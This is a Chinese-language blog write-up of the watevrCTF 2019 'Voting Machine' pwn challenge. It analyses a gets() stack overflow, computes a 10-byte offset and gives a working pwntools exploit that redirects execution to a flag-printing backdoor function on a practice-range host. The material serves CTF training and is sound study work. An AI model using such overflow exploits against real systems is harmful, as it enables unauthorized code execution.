视频加载失败

[watevrCTF 2019]Voting Machine

360 字
2 分钟
[watevrCTF 2019]Voting Machine
  1. 1[watevrCTF 2019]Voting Machine本文

本题在线靶场#

https://www.nssctf.cn/problem/85

1. 漏洞分析#

2026-09-24_20-46-36.png
2026-09-24_20-46-36.png

  • main函数:
    • 程序使用了 gets(v4);。gets 函数不会检查输入长度,会导致栈溢出漏洞。
    • 局部变量 v4 的定义是 _BYTE v4[2]; // [rsp+Eh] [rbp-2h]。说明 v4 距离 rbp 只有 2 个字节。

2026-09-24_20-47-33.png
2026-09-24_20-47-33.png
2026-09-24_20-48-08.png
2026-09-24_20-48-08.png

  • 后门函数:
    • 在函数列表中存在 super_secret_function。
    • 图3显示 super_secret_function 的起始地址为 0x400807。
    • 该函数的逻辑是:fopen("/home/ctf/flag.txt", "r"),然后逐字符读取并打印(使用 fgetc 和 putchar),最后调用 exit(0)。这就是我们需要跳转的目标函数。

2. 计算偏移量#

在 64 位程序中,覆盖返回地址的 Payload 结构如下:

  1. 填充 v4 到 rbp:

    • v4 的起始地址**是 rbp - 2。

    • v4 是一个 _BYTE 数组,长度为 2。所以它占用 rbp - 2 和 rbp - 1 这两个字节。

    • 保存的 RBP (Saved RBP) 紧挨着它,位于 [rbp],占用 8 个字节(64位系统)。

    • 返回地址 (Return Address) 位于 [rbp + 8],占用 8 个字节。

  2. 覆盖 RBP:64位系统 RBP 占 8 字节。

  3. 覆盖返回地址(RET):劫持程序流程,填入后门函数地址 0x400807,占 8 字节。

  4. 总填充长度:2 + 8 = 10 字节。

Payload 构造:b'A' * 10 + p64(0x400807)

3.Exploit编写#

from pwn import *
context(arch='amd64', os='linux')
# 连接靶机
p = remote('node5.anna.nssctf.cn', 21871)
p.recvuntil(b"Vote: ")
# 正确的 Payload:10字节填充 + 后门地址
payload = b'A' * 10 # 2字节v4 + 8字节Saved RBP = 10
payload += p64(0x400807) # 覆盖返回地址为 super_secret_function
p.sendline(payload)
p.interactive()

2026-09-24_20-45-33.png
2026-09-24_20-45-33.png

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

[watevrCTF 2019]Voting Machine
https://tuulei.cn/posts/watevrctf-2019-voting-machine/
作者
tuulei
发布于
2026-09-24
许可协议
CC BY-NC-SA 4.0
Profile Image of the Author
tuulei
请你再闪亮一点点,尽管我太平凡。
公告
分类
标签
最新动态
站点统计
文章
13
分类
4
标签
16
总字数
17,835
运行时长
0 天
最后活动
0 天前
总访问量
--
文章目录